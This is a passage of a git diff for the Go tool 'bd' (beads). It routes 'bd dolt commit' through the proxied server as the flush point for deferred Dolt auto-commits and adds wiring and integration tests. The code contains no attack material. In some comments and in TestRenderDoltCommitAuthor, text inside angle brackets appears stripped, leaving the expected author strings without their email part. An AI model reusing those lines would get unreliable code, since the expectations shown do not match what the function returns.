DOLT_PUSH/DOLT_PULL/DOLT_COMMIT are SQL procedures and the generic - // repository that wraps them is already written; these need a use case and - // a route, not proxy work. `dolt remote remove` is already routed, which is - // the precedent. - refusedPath("dolt commit", "proxy.dolt_commit.unsupported", ProxyReasonUnimplemented, trackVersionCtl). - withHistory(HistoryDirectOnly), + // CALL DOLT_PUSH/DOLT_PULL are SQL procedures and the generic repository + // that wraps them is already written; these need a use case and a route, + // not proxy work. `dolt remote remove` is already routed, which is the + // precedent — and `dolt commit` has now followed it: GH#4995 supplied the + // use case (it is the flush point dolt.auto-commit=batch/off defers to) and + // runDoltCommitProxiedServer supplied the route, so its row moved to the + // routed-history block below. refusedPath("dolt push", "proxy.dolt_push.unsupported", ProxyReasonUnimplemented, trackVersionCtl). withHistory(HistoryDirectOnly), refusedPath("dolt pull", "proxy.dolt_pull.unsupported", ProxyReasonUnimplemented, trackVersionCtl). @@ -441,10 +442,14 @@ var proxyCapabilityRegistry = []capabilityRow{ {Path: "duplicates", ArgSet: "--auto-merge --dry-run", Rule: proxyCapabilityRule{Outcome: ProxyOutcomeHonored}}, // --- routed history ----------------------------------------------------- - // The two paths that already have a proxied route, recorded so the class is + // The paths that already have a proxied route, recorded so the class is // asserted rather than remembered. permitted("history").withHistory(HistoryProxySupported), permitted("dolt remote remove").withHistory(HistoryProxySupported), + // `dolt commit` is routed by runDoltCommitProxiedServer. It is also the + // flush point dolt.auto-commit=batch/off defers to (GH#4995), so refusing it + // at the front door would leave those modes with no way to flush. + permitted("dolt commit").withHistory(HistoryProxySupported), // --- untyped refusals inside RunE --------------------------------------- // The gate permits these paths and the command refuses itself with a bare diff --git a/cmd/bd/capability_registry_history_test.go b/cmd/bd/capability_registry_history_test.go index dbdc0a85a..673b7e5ba 100644 --- a/cmd/bd/capability_registry_history_test.go +++ b/cmd/bd/capability_registry_history_test.go @@ -14,13 +14,17 @@ func TestHistoryCapabilityMatrixExactPaths(t *testing.T) { if got, ok := LookupHistoryCapability("history"); !ok || got != HistoryProxySupported { t.Fatalf("history = %q, %v; want proxy-supported", got, ok) } - for _, path := range []string{"branch", "conflicts", "repo", "federation", "vc", "flatten", "dolt push", "dolt pull", "dolt commit", "dolt remote", "sync"} { + for _, path := range []string{"branch", "conflicts", "repo", "federation", "vc", "flatten", "dolt push", "dolt pull", "dolt remote", "sync"} { if got, ok := LookupHistoryCapability(path); !ok || got != HistoryDirectOnly { t.Errorf("%q = %q, %v; want direct-only", path, got, ok) } } - if got, ok := LookupHistoryCapability("dolt remote remove"); !ok || got != HistoryProxySupported { - t.Fatalf("dolt remote remove = %q, %v; want proxy-supported", got, ok) + // dolt commit is the flush point dolt.auto-commit=batch/off defers to + // (GH#4995), so it must stay reachable on the proxied route. + for _, path := range []string{"dolt remote remove", "dolt commit"} { + if got, ok := LookupHistoryCapability(path); !ok || got != HistoryProxySupported { + t.Fatalf("%s = %q, %v; want proxy-supported", path, got, ok) + } } for _, path := range []string{"dolt remote add", "dolt remote list", "dolt remote reset-data"} { if got, ok := LookupHistoryCapability(path); !ok || got != HistoryDirectOnly { @@ -52,7 +56,6 @@ func TestHistoryDirectOnlyRefusalContract(t *testing.T) { "flatten": {"proxy.flatten.unsupported", "flatten is not supported in proxied-server mode"}, "dolt push": {"proxy.dolt_push.unsupported", "dolt push is not supported in proxied-server mode"}, "dolt pull": {"proxy.dolt_pull.unsupported", "dolt pull is not supported in proxied-server mode"}, - "dolt commit": {"proxy.dolt_commit.unsupported", "dolt commit is not supported in proxied-server mode"}, "dolt remote add": {"proxy.dolt_remote.unsupported", "dolt remote add is not supported in proxied-server mode"}, "dolt remote list": {"proxy.dolt_remote.unsupported", "dolt remote list is not supported in proxied-server mode"}, "dolt remote reset-data": {"proxy.dolt_remote.unsupported", "dolt remote reset-data is not supported in proxied-server mode"}, @@ -99,7 +102,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { "conflicts resolve": {"proxy.conflicts.unsupported", "conflicts resolve is not supported in proxied-server mode"}, "federation sync": {"proxy.federation.unsupported", "federation sync is not supported in proxied-server mode"}, } - for _, path := range []string{"vc merge", "vc commit", "repo add", "conflicts resolve", "federation sync", "dolt remote remove"} { + for _, path := range []string{"vc merge", "vc commit", "repo add", "conflicts resolve", "federation sync", "dolt remote remove", "dolt commit"} { parts := strings.Split(path, " ") root := &cobra.Command{Use: "bd"} cmd := &cobra.Command{Use: parts[0]} @@ -110,7 +113,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { cmd = child } err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) - if path == "dolt remote remove" { + if path == "dolt remote remove" || path == "dolt commit" { if err != nil { t.Fatalf("supported %s refused: %v", path, err) } diff --git a/cmd/bd/dolt.go b/cmd/bd/dolt.go index 769911f9b..d4b28d05d 100644 --- a/cmd/bd/dolt.go +++ b/cmd/bd/dolt.go @@ -728,26 +728,47 @@ For more options (--stdin, custom messages), see: bd vc commit`, SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { ctx := context.Background() - st := getStore() - if st == nil { - return HandleError("no store available") - } msg, _ := cmd.Flags().GetString("message") if msg == "" { msg = fmt.Sprintf("bd: dolt commit (auto-commit) by %s", getActor()) } - // CommitAll, not Commit: this command's contract is "any uncommitted - // changes in the working set", including changes made externally and - // the config table — which server-mode Commit excludes (GH#2455), so - // out-of-band config dirt used to survive this command forever. Its - // committed bool also replaces the HEAD-before/HEAD-after comparison - // this command used to detect tolerated no-ops with, which cost two - // extra HEAD reads and raced against concurrent writers. - committed, err := st.CommitAll(ctx, msg) + + var ( + committed bool + err error + ) + if usesProxiedServer() { + // Proxied mode never opens a store — the root pre-run returns + // before newDoltStore — so getStore() is nil here and the UOW + // provider is the only handle on the server. This is the flush + // point dolt.auto-commit=batch/off defers to on that route + // (GH#4995). The message is built above so both routes name the + // same default. + committed, err = runDoltCommitProxiedServer(ctx, msg) + } else { + st := getStore() + if st == nil { + return HandleError("no store available") + } + // CommitAll, not Commit: this command's contract is "any uncommitted + // changes in the working set", including changes made externally and + // the config table — which server-mode Commit excludes (GH#2455), so + // out-of-band config dirt used to survive this command forever. Its + // committed bool also replaces the HEAD-before/HEAD-after comparison + // this command used to detect tolerated no-ops with, which cost two + // extra HEAD reads and raced against concurrent writers. + committed, err = st.CommitAll(ctx, msg) + } if err != nil { - if isDoltNothingToCommit(err) { + switch { + case isDoltNothingToCommit(err): committed = false - } else { + case isReportedExit(err): + // The proxied route reports provider failures itself, through + // HandleErrorRespectJSON, so the JSON envelope is already on + // stdout; re-wrapping would print a second, plain Error line. + return err + default: return HandleError("%v", err) } } diff --git a/cmd/bd/dolt_autocommit.go b/cmd/bd/dolt_autocommit.go index 186c9a76f..a32205e85 100644 --- a/cmd/bd/dolt_autocommit.go +++ b/cmd/bd/dolt_autocommit.go @@ -91,6 +91,35 @@ func issueOpsContext(ctx context.Context) (context.Context, error) { return issueops.WithDeferredVersionCommit(ctx), nil } +// explicitCommitPointContext clears the dolt.auto-commit deferral for a proxied +// dual whose direct-route twin is an explicit commit point. +// +// The direct route encodes two commit classes, and it encodes them by which +// wrapper a verb picks: writes whose Dolt commit is auto-commit policy go +// through transactHonoringAutoCommit or issueOpsContext above, while the +// explicit commit points go through transact and mint a Dolt commit carrying +// the caller's message whatever the policy says. The proxied route has no such +// choice to make per verb — it applies the policy ONCE, to rootCtx in the root +// pre-run (GH#4995) — so the second class has to opt back out here, or +// doltServerTx.Commit blanks the message it was given: a proxied +// `bd batch -m "release batch"` under dolt.auto-commit=batch would persist the +// rows, discard the message and mint nothing, while the identical command and +// config on the direct route commits it. +// +// Scope is the intersection of two in-tree lists: the transact() call sites, +// and the paths the proxied front door permits (proxyPermittedPaths in +// capability_registry.go). That is batch, mol bond/pour/squash, mol wisp create +// and the WISP half of mol burn; cook and migrate issues also call transact but +// are refused in proxied mode, so they have no dual to exempt. +// +// Membership is per commit site, not per command: mol burn's persistent half +// reaches deleteBatch -> issueOpsContext on the direct route, which is the +// policy-honoring class, so runMolBurnProxiedServer exempts only the wisp +// transaction. TestProxiedDualsExemptTheirExplicitCommitPoints pins both arms. +func explicitCommitPointContext(ctx context.Context) context.Context { + return issueops.WithImmediateVersionCommit(ctx) +} + type doltAutoCommitParams struct { // Command is the top-level bd command name (e.g., "create", "update"). Command string diff --git a/cmd/bd/dolt_autocommit_exemption_wiring_test.go b/cmd/bd/dolt_autocommit_exemption_wiring_test.go new file mode 100644 index 000000000..0dde74c32 --- /dev/null +++ b/cmd/bd/dolt_autocommit_exemption_wiring_test.go @@ -0,0 +1,238 @@ +package main + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/types" +) + +// The tests below pin the WIRING half of the GH#4995 exemption. The mechanism +// half — that WithImmediateVersionCommit defeats the route-wide deferral — +// is pinned in internal/storage/uow; what is pinned here is that each proxied +// dual whose direct twin is an explicit commit point actually hands that +// exemption to its transaction, and that the duals whose twin is NOT one do +// not. Without this, deleting explicitCommitPointContext from a dual is green +// in every lane that does not have a real proxied server. +// +// The seam is uow.RunTxResult's own first act: it asks the provider for a unit +// of work, passing the caller's context. A provider that records that context +// and then refuses observes exactly "the context this dual hands its +// transaction", with no server, no store and no fixture beyond the reads the +// dual makes to decide what to write. + +var errStopBeforeProbeTx = errors.New("exemption wiring probe: stop before the transaction") + +// exemptionProbeProvider serves readUOW to the first `reads` NewUOW calls (the +// dual's own read phase) and refuses the rest, recording every context it was +// handed. The refusal is not a serialization error, so RunTxResult treats it as +// permanent and makes exactly one NewUOW call per transaction. +type exemptionProbeProvider struct { + readUOW uow.UnitOfWork + reads int + ctxs []context.Context +} + +func (p *exemptionProbeProvider) NewUOW(ctx context.Context) (uow.UnitOfWork, error) { + p.ctxs = append(p.ctxs, ctx) + if len(p.ctxs) <= p.reads { + return p.readUOW, nil + } + return nil, errStopBeforeProbeTx +} + +func (p *exemptionProbeProvider) Close(context.Context) error { return nil } + +// txCtxs is the contexts handed to RunTx*, in call order: everything after the +// leading read opens. +func (p *exemptionProbeProvider) txCtxs() []context.Context { + if len(p.ctxs) <= p.reads { + return nil + } + return p.ctxs[p.reads:] +} + +// installExemptionProbe points the package's proxied provider at the probe for +// the duration of one test. +func installExemptionProbe(t *testing.T, p *exemptionProbeProvider) { + t.Helper() + prev := uowProvider + uowProvider = p + t.Cleanup(func() { uowProvider = prev }) +} + +// exemptionProbeUOW embeds the interface without implementing it: anything a +// dual's read phase needs beyond the three use cases below panics and names +// itself, rather than being silently satisfied. +type exemptionProbeUOW struct { + uow.UnitOfWork + issues domain.IssueUseCase + labels domain.LabelUseCase + deps domain.DependencyUseCase +} + +func (u exemptionProbeUOW) Close(context.Context) {} +func (u exemptionProbeUOW) IssueUseCase() domain.IssueUseCase { return u.issues } +func (u exemptionProbeUOW) LabelUseCase() domain.LabelUseCase { return u.labels } +func (u exemptionProbeUOW) DependencyUseCase() domain.DependencyUseCase { return u.deps } + +// CommentUseCase is collected by workapi.NewUOWDetailSource when the read +// phase resolves an id; nothing on that path calls it. +func (u exemptionProbeUOW) CommentUseCase() domain.CommentUseCase { return nil } + +type exemptionProbeIssues struct { + domain.IssueUseCase + byID map[string]*types.Issue +} + +func (s exemptionProbeIssues) GetIssue(_ context.Context, id string) (*types.Issue, error) { + if issue, ok := s.byID[id]; ok && !issue.Ephemeral { + return issue, nil + } + return nil, storage.ErrNotFound +} + +func (s exemptionProbeIssues) GetWisp(_ context.Context, id string) (*types.Issue, error) { + if issue, ok := s.byID[id]; ok && issue.Ephemeral { + return issue, nil + } + return nil, storage.ErrNotFound +} + +func (s exemptionProbeIssues) SearchIssues(_ context.Context, _ string, filter types.IssueFilter) (domain.SearchPage, error) { + var page domain.SearchPage + for _, id := range filter.IDs { + if issue, ok := s.byID[id]; ok { + page.Items = append(page.Items, issue) + } + } + return page, nil +} + +type exemptionProbeLabels struct { + domain.LabelUseCase +} + +func (exemptionProbeLabels) GetLabels(context.Context, string) ([]string, error) { return nil, nil } +func (exemptionProbeLabels) GetWispLabels(context.Context, string) ([]string, error) { return nil, nil } + +type exemptionProbeDeps struct { + domain.DependencyUseCase +} + +func (exemptionProbeDeps) ListWithIssueMetadata(context.Context, string, domain.DepListFilter) ([]*types.IssueWithDependencyMetadata, error) { + return nil, nil +} + +func (exemptionProbeDeps) GetForIssueIDs(context.Context, []string) (map[string][]*types.Dependency, error) { + return nil, nil +} + +func newExemptionProbeUOW(issues ...*types.Issue) uow.UnitOfWork { + byID := make(map[string]*types.Issue, len(issues)) + for _, issue := range issues { + byID[issue.ID] = issue + } + return exemptionProbeUOW{ + issues: exemptionProbeIssues{byID: byID}, + labels: exemptionProbeLabels{}, + deps: exemptionProbeDeps{}, + } +} + +// deferredRouteContext is what the proxied root pre-run hands every dispatch +// under dolt.auto-commit=batch/off. +func deferredRouteContext() context.Context { + return issueops.WithDeferredVersionCommit(context.Background()) +} + +// TestProxiedDualsExemptTheirExplicitCommitPoints pins the duals that reach +// their transaction directly. Deleting explicitCommitPointContext from any of +// them reds its row here. +func TestProxiedDualsExemptTheirExplicitCommitPoints(t *testing.T) { + cases := []struct { + name string + call func(context.Context) + }{ + { + name: "batch", + call: func(ctx context.Context) { + _, _ = runBatchProxiedServer(ctx, nil, "bd: batch probe") + }, + }, + { + name: "mol bond", + call: func(ctx context.Context) { + _ = runMolBondProxiedServer(ctx, molBondInput{argA: "bd-a", argB: "bd-b"}) + }, + }, + { + name: "mol squash", + call: func(ctx context.Context) { + _ = runMolSquashProxiedServer(ctx, molSquashInput{moleculeArg: "bd-mol"}) + }, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + probe := &exemptionProbeProvider{} + installExemptionProbe(t, probe) + + tc.call(deferredRouteContext()) + + txCtxs := probe.txCtxs() + if len(txCtxs) != 1 { + t.Fatalf("%s: got %d transaction context(s), want 1 — the dual never reached RunTx*", tc.name, len(txCtxs)) + } + if issueops.VersionCommitDeferred(txCtxs[0]) { + t.Errorf("%s: the context handed to RunTx* still defers the version commit; "+ + "its direct twin is an explicit commit point, so this dual must clear the deferral "+ + "(doltServerTx.Commit blanks the message and mints nothing)", tc.name) + } + }) + } +} + +// TestProxiedMolBurnExemptsOnlyTheWispHalf pins the split. bd mol burn is two +// commit classes on the direct route: wisps go through burnWisps -> `transact` +// (explicit), persistent molecules go through deleteBatch -> issueOpsContext, +// whose deferral dolt's deleter honors by returning before DOLT_COMMIT. A +// command-wide exemption mints one commit per persistent molecule under +// batch/off, where the identical direct-route command defers them all. +func TestProxiedMolBurnExemptsOnlyTheWispHalf(t *testing.T) { + wisp := &types.Issue{ID: "bd-wisp1", Ephemeral: true} + persistent := &types.Issue{ID: "bd-mol1"} + + probe := &exemptionProbeProvider{ + reads: 1, // runMolBurnProxiedServer's classification read + readUOW: newExemptionProbeUOW(wisp, persistent), + } + installExemptionProbe(t, probe) + + // force=true skips the interactive confirmation; dryRun=false so both + // halves reach their transaction. + _ = runMolBurnProxiedServer(deferredRouteContext(), []string{wisp.ID, persistent.ID}, false, true) + + txCtxs := probe.txCtxs() + if len(txCtxs) != 2 { + t.Fatalf("got %d transaction context(s), want 2 (the wisp half then the persistent half); "+ + "the classification read did not produce one of each", len(txCtxs)) + } + + if issueops.VersionCommitDeferred(txCtxs[0]) { + t.Errorf("wisp half: the context handed to RunTxResult still defers the version commit, " + + "but its direct twin (burnWisps -> transact) commits whatever dolt.auto-commit says") + } + if !issueops.VersionCommitDeferred(txCtxs[1]) { + t.Errorf("persistent half: the context handed to RunTxResult no longer defers the version commit, " + + "so a proxied `bd mol burn` mints one Dolt commit per persistent molecule under " + + "dolt.auto-commit=batch/off — its direct twin (deleteBatch -> issueOpsContext) defers them " + + "all to `bd dolt commit`") + } +} diff --git a/cmd/bd/dolt_autocommit_server_test.go b/cmd/bd/dolt_autocommit_server_test.go index 64ea2d6ff..9476f5e46 100644 --- a/cmd/bd/dolt_autocommit_server_test.go +++ b/cmd/bd/dolt_autocommit_server_test.go @@ -284,3 +284,37 @@ func TestTransactHonoringAutoCommitBlanksMessageInServerBatch(t *testing.T) { }) } } + +// TestIssueOpsContextDefersByModePolicyTable pins the policy half of GH#4995: +// issueOpsContext defers the Dolt version commit for batch/off and does not for +// on/unset. It deliberately does not claim to cover the proxied-server wiring — +// issueOpsContext branches only on writesCommitNow(), never on the storage +// mode, so setting proxiedServerMode here would prove nothing. The proxied +// wiring is pinned by TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce +// and the deferral itself by the doltserver_tx tests. +func TestIssueOpsContextDefersByModePolicyTable(t *testing.T) { + for _, tc := range []struct { + mode string + wantDeferred bool + }{ + {mode: string(doltAutoCommitOn), wantDeferred: false}, + {mode: string(doltAutoCommitBatch), wantDeferred: true}, + {mode: string(doltAutoCommitOff), wantDeferred: true}, + {mode: "", wantDeferred: false}, + } { + t.Run("mode="+tc.mode, func(t *testing.T) { + saveStorageMode(t) + serverMode = false + proxiedServerMode = false + doltAutoCommit = tc.mode + + ctx, err := issueOpsContext(context.Background()) + if err != nil { + t.Fatalf("issueOpsContext: %v", err) + } + if got := storageissueops.VersionCommitDeferred(ctx); got != tc.wantDeferred { + t.Fatalf("VersionCommitDeferred = %v, want %v for mode %q", got, tc.wantDeferred, tc.mode) + } + }) + } +} diff --git a/cmd/bd/dolt_commit_proxied_integration_test.go b/cmd/bd/dolt_commit_proxied_integration_test.go new file mode 100644 index 000000000..8f7f8c894 --- /dev/null +++ b/cmd/bd/dolt_commit_proxied_integration_test.go @@ -0,0 +1,191 @@ +//go:build cgo + +package main + +import ( + "fmt" + "os" + "path/filepath" + "strconv" + "strings" + "testing" +) + +// sqlCountValue extracts a COUNT(*) cell from bdProxiedSQLJSON. sqlValueEquals +// only answers "is it this number"; the batch-flush assertions need the number +// itself so a failure can report how far HEAD actually moved. +func sqlCountValue(v any) (float64, bool) { + switch x := v.(type) { + case float64: + return x, true + case string: + f, err := strconv.ParseFloat(x, 64) + return f, err == nil + default: + return 0, false + } +} + +// TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce pins every half of +// GH#4995 on the proxied route: dolt.auto-commit=batch must leave policy writes +// in the working set (no Dolt commit per write), `bd dolt commit` must mint +// exactly one commit for the whole batch and attribute it to the actor, and the +// explicit commit points must keep minting their own commit with the caller's +// message despite the route-wide deferral. +// +// Before the proxied flush point existed, step 3 below failed with +// "no store available": proxied mode returns from the root pre-run before +// newDoltStore runs, so getStore() is nil and `bd dolt commit` had nothing to +// commit through. batch/off therefore meant "never commit" on this route. +func TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce(t *testing.T) { + requireProxiedServerEnv(t) + + bd := buildEmbeddedBD(t) + p := bdProxiedInit(t, bd, "batchflush") + + doltLogCount := func(t *testing.T) float64 { + t.Helper() + rows := bdProxiedSQLJSON(t, bd, p.dir, "SELECT COUNT(*) AS count FROM dolt_log") + if len(rows) != 1 { + t.Fatalf("expected one row from dolt_log count, got %d: %v", len(rows), rows) + } + n, ok := sqlCountValue(rows[0]["count"]) + if !ok { + t.Fatalf("dolt_log count is not numeric: %#v", rows[0]["count"]) + } + return n + } + + headCommit := func(t *testing.T) map[string]interface{} { + t.Helper() + rows := bdProxiedSQLJSON(t, bd, p.dir, + "SELECT message, committer, email FROM dolt_log ORDER BY date DESC LIMIT 1") + if len(rows) != 1 { + t.Fatalf("expected one dolt_log row for HEAD, got %d: %v", len(rows), rows) + } + return rows[0] + } + + head0 := doltLogCount(t) + + // 1. Three writes under the batch policy must not mint any Dolt commit. + for i := 1; i <= 3; i++ { + title := fmt.Sprintf("batch write %d", i) + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "--dolt-auto-commit", "batch", "create", title, "-p", "1") + if err != nil { + t.Fatalf("bd create %q failed: %v\nstdout:\n%s\nstderr:\n%s", title, err, stdout, stderr) + } + } + + if got := doltLogCount(t); got != head0 { + t.Fatalf("batch writes minted Dolt commits: dolt_log went %v -> %v (want unchanged)", head0, got) + } + + // 2. The writes are in the working set, not rolled back. + listOut, listErr, err := bdProxiedRunBuffers(t, bd, p.dir, "list", "--json") + if err != nil { + t.Fatalf("bd list --json failed: %v\nstdout:\n%s\nstderr:\n%s", err, listOut, listErr) + } + for i := 1; i <= 3; i++ { + title := fmt.Sprintf("batch write %d", i) + if !strings.Contains(listOut, title) { + t.Fatalf("deferred write %q is not readable after batch create:\n%s", title, listOut) + } + } + + // 3. The explicit flush point mints exactly one commit for the batch. + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "--actor", "flush-actor", "dolt", "commit", "-m", "batch flush") + if err != nil { + t.Fatalf("bd dolt commit failed in proxied mode: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stdout, "Committed.") { + t.Fatalf("bd dolt commit did not report a commit:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if got, want := doltLogCount(t), head0+1; got != want { + t.Fatalf("bd dolt commit did not advance HEAD exactly once: dolt_log %v -> %v (want %v)", head0, got, want) + } + + // 3b. The flush is attributed to the bd actor, not the SQL session user. + // Under batch mode this is the only commit a whole batch of writes leaves + // behind, so `dolt log` has to be able to say whose batch it was — the + // '--author' DoltStorage.CommitAll passes on the direct route. + head := headCommit(t) + if got := head["message"]; got != "batch flush" { + t.Fatalf("flush commit message = %v, want %q (row: %v)", got, "batch flush", head) + } + if got := head["committer"]; got != "flush-actor" { + t.Fatalf("flush commit is not attributed to the actor: committer = %v, want %q (row: %v)", got, "flush-actor", head) + } + if got := head["email"]; got != "test@test.com" { + t.Fatalf("flush commit email = %v, want the git identity %q (row: %v)", got, "test@test.com", head) + } + + // 4. A second flush with nothing pending is a no-op, not a second commit. + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, "dolt", "commit", "-m", "second flush") + if err != nil { + t.Fatalf("second bd dolt commit failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stdout, "Nothing to commit.") { + t.Fatalf("second bd dolt commit did not report an empty working set:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if got, want := doltLogCount(t), head0+1; got != want { + t.Fatalf("second bd dolt commit advanced HEAD: dolt_log = %v (want %v)", got, want) + } + + // 5. The deferral is policy-driven, not unconditional: with the default + // "on" policy a single create advances dolt_log by one on its own. + before := doltLogCount(t) + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, + "--dolt-auto-commit", "on", "create", "immediate write", "-p", "1") + if err != nil { + t.Fatalf("bd create with --dolt-auto-commit on failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if got, want := doltLogCount(t), before+1; got != want { + t.Fatalf("auto-commit=on did not commit per write: dolt_log %v -> %v (want %v)", before, got, want) + } + + // 6. The deferral is per commit CLASS, not per route: `bd batch -m` is an + // explicit commit point (its direct-route twin calls transact, which mints + // regardless of policy), so under batch it must still commit, carrying the + // caller's message. A plain create in the same policy is the control. + before = doltLogCount(t) + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, + "--dolt-auto-commit", "batch", "create", "deferred control write", "-p", "1") + if err != nil { + t.Fatalf("control create under batch failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if got := doltLogCount(t); got != before { + t.Fatalf("control create minted a commit under batch: dolt_log %v -> %v (want unchanged)", before, got) + } + + script := filepath.Join(p.dir, "explicit-batch.txt") + if err := os.WriteFile(script, []byte("create task 1 explicit batch write\n"), 0o600); err != nil { + t.Fatalf("write batch script: %v", err) + } + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, + "--dolt-auto-commit", "batch", "batch", "-f", script, "-m", "explicit batch commit") + if err != nil { + t.Fatalf("bd batch under batch policy failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if got, want := doltLogCount(t), before+1; got != want { + t.Fatalf("explicit batch commit did not mint exactly one commit under batch: dolt_log %v -> %v (want %v)", before, got, want) + } + // The message is the half a route-wide deferral silently drops: blanking it + // selects the plain-COMMIT form, which persists the rows and records nothing. + if got := headCommit(t)["message"]; got != "explicit batch commit" { + t.Fatalf("explicit batch commit lost the caller's message: %v (want %q)", got, "explicit batch commit") + } + + // 7. That commit swept the deferred control write with it (DOLT_COMMIT + // '-Am'), so the working set is clean and a flush now has nothing to do — + // the exemption does not strand the writes the policy deferred. + stdout, stderr, err = bdProxiedRunBuffers(t, bd, p.dir, "dolt", "commit", "-m", "post-batch flush") + if err != nil { + t.Fatalf("flush after explicit batch commit failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stdout, "Nothing to commit.") { + t.Fatalf("flush after explicit batch commit found pending work:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } +} diff --git a/cmd/bd/dolt_commit_proxied_server.go b/cmd/bd/dolt_commit_proxied_server.go new file mode 100644 index 000000000..55cd82f13 --- /dev/null +++ b/cmd/bd/dolt_commit_proxied_server.go @@ -0,0 +1,88 @@ +package main + +import ( + "context" + "database/sql" + "fmt" + "strings" + + "github.com/steveyegge/beads/internal/storage/issueops" +) + +// runDoltCommitProxiedServer is the proxied dual of `bd dolt commit`: the +// explicit commit point that discharges dolt.auto-commit=batch/off on this +// route (GH#4995). Proxied mode returns from the root pre-run before +// newDoltStore ever runs, so getStore() is nil here and the UOW provider is the +// only handle on the server — without this dual, batch/off on a proxied +// checkout meant "never commit" and writes piled up in the working set forever. +// +// It deliberately does not open a unit of work: doltServerTx.Commit blanks its +// message under a deferred context (that is the deferral this command exists to +// discharge), so routing the flush through it would make the flush itself a +// no-op. It runs DOLT_COMMIT('-Am') on a pinned maintenance connection instead, +// which is the uow-side equivalent of DoltStorage.CommitAll: "everything in the +// working set", including out-of-band and config-table dirt, attributed to the +// same actor with '--author'. +func runDoltCommitProxiedServer(ctx context.Context, message string) (bool, error) { + committed := false + // runProxiedNonTx, not an open-coded provider assertion: it is the shared + // maintenance escape hatch (backup, compact, clean-databases) and it reports + // provider failures through HandleErrorRespectJSON, so `bd --json dolt + // commit` keeps emitting the JSON error envelope the rest of the proxied + // surface emits. + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + // The same gate doltServerTx.Commit uses, and for the same reason: an + // empty DOLT_COMMIT is rejected server-side with "nothing to commit" + // and floods the server log. + pending, err := issueops.HasPendingChanges(ctx, conn) + if err != nil { + return err + } + if !pending { + return nil + } + if _, err := conn.ExecContext(ctx, "CALL DOLT_COMMIT('-Am', ?, '--author', ?);", message, proxiedCommitAuthor()); err != nil { + if isDoltNothingToCommit(err) { + return nil + } + return err + } + committed = true + return nil + }) + return committed, err +} + +// proxiedCommitAuthor is the '--author' identity for the proxied flush, the +// counterpart of DoltStorage.commitAuthorString on the direct route. Without it +// the commit is attributed to the SQL session user, and under batch mode this is +// the ONE commit that survives a whole batch of writes — so on a multi-agent +// deployment `dolt log` could not say whose batch was flushed. +// +// The actor half is the same getActor() the default commit message names; the +// address half comes from git, as it does for the committer identity the store +// resolves for its own commits. +func proxiedCommitAuthor() string { + name, email := proxiedServerCommitter() + if a := strings.TrimSpace(getActor()); a != "" { + name = a + } + return renderDoltCommitAuthor(name, email) +} + +// renderDoltCommitAuthor formats a Dolt '--author' argument. Dolt parses the +// git "Name " grammar and rejects anything else, so the angle brackets +// and newlines an actor name could carry are stripped rather than passed +// through to fail the flush. +func renderDoltCommitAuthor(name, email string) string { + clean := strings.NewReplacer("<", "", ">", "", "\n", " ", "\r", " ") + name = strings.TrimSpace(clean.Replace(name)) + email = strings.TrimSpace(clean.Replace(email)) + if name == "" { + name = "beads" + } + if email == "" { + email = "beads@localhost" + } + return fmt.Sprintf("%s <%s>", name, email) +} diff --git a/cmd/bd/dolt_commit_proxied_server_test.go b/cmd/bd/dolt_commit_proxied_server_test.go new file mode 100644 index 000000000..032bcb17b --- /dev/null +++ b/cmd/bd/dolt_commit_proxied_server_test.go @@ -0,0 +1,29 @@ +package main + +import "testing" + +// TestRenderDoltCommitAuthor pins the '--author' argument the proxied flush +// passes to DOLT_COMMIT (GH#4995). Dolt parses the git "Name " grammar +// and rejects anything else, and the name half is an actor string the caller +// controls, so a stray bracket or newline must be stripped rather than turned +// into a failed flush — the flush is the only commit batch mode keeps. +func TestRenderDoltCommitAuthor(t *testing.T) { + for _, tc := range []struct { + name string + actor string + email string + want string + }{ + {name: "actor and email", actor: "agent-7", email: "agent7@example.com", want: "agent-7 "}, + {name: "trims surrounding space", actor: " agent-7 ", email: " agent7@example.com\n", want: "agent-7 "}, + {name: "strips brackets the grammar owns", actor: "agent <7>", email: "a@b", want: "agent 7 "}, + {name: "strips embedded newline", actor: "agent\n7", email: "a@b", want: "agent 7 "}, + {name: "defaults an empty identity", actor: "", email: "", want: "beads "}, + } { + t.Run(tc.name, func(t *testing.T) { + if got := renderDoltCommitAuthor(tc.actor, tc.email); got != tc.want { + t.Fatalf("renderDoltCommitAuthor(%q, %q) = %q, want %q", tc.actor, tc.email, got, tc.want) + } + }) + } +} diff --git a/cmd/bd/errors.go b/cmd/bd/errors.go index 81a285fa2..2142471db 100644 --- a/cmd/bd/errors.go +++ b/cmd/bd/errors.go @@ -30,6 +30,15 @@ func exitCodeFromError(err error) (int, bool) { return 0, false } +// isReportedExit reports whether err is an already-rendered failure — the +// *exitError every Handle*Error returns after writing the message (or the JSON +// error envelope) itself. A caller that re-wraps one prints a second Error line +// and, in --json mode, a plain line after the envelope. 